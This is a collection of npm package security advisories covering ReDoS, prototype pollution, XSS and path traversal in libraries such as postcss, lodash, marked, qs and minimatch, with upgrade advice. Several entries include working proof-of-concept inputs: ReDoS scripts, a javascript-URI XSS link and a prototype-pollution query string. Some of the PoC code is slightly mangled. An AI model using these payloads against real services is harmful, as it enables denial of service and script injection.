Version Details and Security Vulnerabilities

Version of clean-css prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.

Recommendation

Upgrade to version 4.1.11 or higher.

Versions of constantinople prior to 3.1.1 are vulnerable to a sandbox bypass which can lead to arbitrary code execution.

Recommendation

Update to version 3.1.1 or later.

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

Versions of extend prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The extend() function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.

Recommendation

If you're using extend 3.x upgrade to 3.0.2 or later. If you're using extend 2.x upgrade to 2.0.2 or later.

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

The package css-what before 2.1.3 is vulnerable to Regular Expression Denial of Service (ReDoS) due to the use of insecure regular expression in the re_attr variable of index.js. The exploitation of this vulnerability could be triggered via the parse function.

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.

Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.

As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.

This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.

Recommendation

Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.

Impact

Affected versions of this package are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.

The pollution should just be harmless data but this can cause problems for applications not expecting these properties to exist and can result in strange behavior or application crashes, i.e. a potential DOS vector.

If your website or application does not render user provided data it should be unaffected.

Patches

Versions 9.18.2 and 10.1.2 and newer include fixes for this vulnerability. If you are using version 7 or 8 you are encouraged to upgrade to a newer release.

Workarounds

Patch your library

Manually patch your library to create null objects for both languages and aliases:

const HLJS = function(hljs) {
  // ...
  var languages = Object.create(null);
  var aliases = Object.create(null);

Filter out bad data from end users:

Filter the language names that users are allowed to inject into your HTML to guarantee they are valid.

References

• What is Prototype Pollution?
• https://github.com/highlightjs/highlight.js/pull/2636

For more information

If you have any questions or comments about this advisory:

• Please file an issue against highlight.js

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Versions of lodash before 4.17.11 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.11 or later.

Versions of lodash before 4.17.5 are vulnerable to prototype pollution.

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.5 or later.

Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.

Recommendation

Update to version 4.17.12 or later.

Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.

Impact

Special patterns with length > 50K chars can slow down parser significantly.

const md = require('markdown-it')();

md.render(`x ${' '.repeat(150000)} x  \nx`);

Patches

Upgrade to v12.3.2+

Workarounds

No.

References

Fix + test sample: https://github.com/markdown-it/markdown-it/commit/ffc49ab46b5b751cd2be0aabb146f2ef84986101

markdown-it-decorate adds attributes, IDs and classes to Markdown, and the most recent version 1.2.2 was published in 2017. All versions are currently vulnerable to cross-site scripting (XSS) and there is no fixed version at this time

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression inline.reflinkSearch may cause catastrophic backtracking against some strings. PoC is the following.

import * as marked from 'marked';

console.log(marked.parse(`[x]: x

\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

• https://marked.js.org/using_advanced#workers
• https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

For more information

If you have any questions or comments about this advisory:

• Open an issue in marked

marked version 0.3.6 and earlier is vulnerable to an XSS attack in the data: URI parser.

Marked prior to version 0.3.17 is vulnerable to a Regular Expression Denial of Service (ReDoS) attack due to catastrophic backtracking in several regular expressions used for parsing HTML tags and markdown links. An attacker can exploit this vulnerability by providing specially crafted markdown input, such as deeply nested or repetitively structured brackets or tag attributes, which cause the parser to hang and lead to a Denial of Service.

Impact

What kind of vulnerability is it?

Denial of service.

The regular expression block.def may cause catastrophic backtracking against some strings. PoC is the following.

import * as marked from "marked";

marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);

Who is impacted?

Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.

Patches

Has the problem been patched?

Yes

What versions should users upgrade to?

4.0.10

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.

References

Are there any links users can visit to find out more?

• https://marked.js.org/using_advanced#workers
• https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

For more information

If you have any questions or comments about this advisory:

• Open an issue in marked

Affected versions of marked are susceptible to a cross-site scripting vulnerability in link components when sanitize:true is configured.

Proof of Concept

This flaw exists because link URIs containing HTML entities get processed in an abnormal manner. Any HTML Entities get parsed on a best-effort basis and included in the resulting link, while if that parsing fails that character is omitted.

For example:

A link URI such as

javascript&#x58document;alert(1)

Renders a valid link that when clicked will execute alert(1).

Recommendation

Update to version 0.3.6 or later.

Affected versions of marked are vulnerable to a regular expression denial of service.

The amplification in this vulnerability is significant, with 1,000 characters resulting in the event loop being blocked for around 6 seconds.

Recommendation

Update to version 0.3.9 or later.

The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.

A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.

Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.

Recommendation

Upgrade to version 2.3.1 or higher.

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

Affected of superstatic are vulnerable to path traversal when used on Windows.

Additionally, it is vulnerable to path traversal on other platforms combined with certain Node.js versions which erroneously normalize \\ to / in paths on all platforms (a known example being Node.js v9.9.0).

Recommendation

Update to version 5.0.2 or later.

Affected version of qs are vulnerable to Prototype Pollution because it is possible to bypass the protection. The qs.parse function fails to properly prevent an object's prototype to be altered when parsing arbitrary input. Input containing [ or ] may bypass the prototype pollution protection and alter the Object prototype. This allows attackers to override properties that will exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances.

Recommendation

Upgrade to 6.0.4, 6.1.2, 6.2.3, 6.3.2 or later.

qs before 6.10.3 allows attackers to cause a Node process hang because an __ proto__ key can be used. In many typical web framework use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4.

Impact

passing untrusted user input - even after sanitizing it - to SendStream.redirect() may execute untrusted code

Patches

this issue is patched in send 0.19.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

1. The attacker MUST control the input to response.redirect()
2. express MUST NOT redirect before the template appears
3. the browser MUST NOT complete redirection before:
4. the user MUST click on the link in the template

Affected versions of mime are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.

Recommendation

Update to version 2.0.3 or later.

Affected versions of fresh are vulnerable to regular expression denial of service when parsing specially crafted user input.

Recommendation

Update to version 0.5.2 or later.

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

The got package before 11.8.5 and 12.1.0 for Node.js allows a redirect to a UNIX socket.

Impact

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References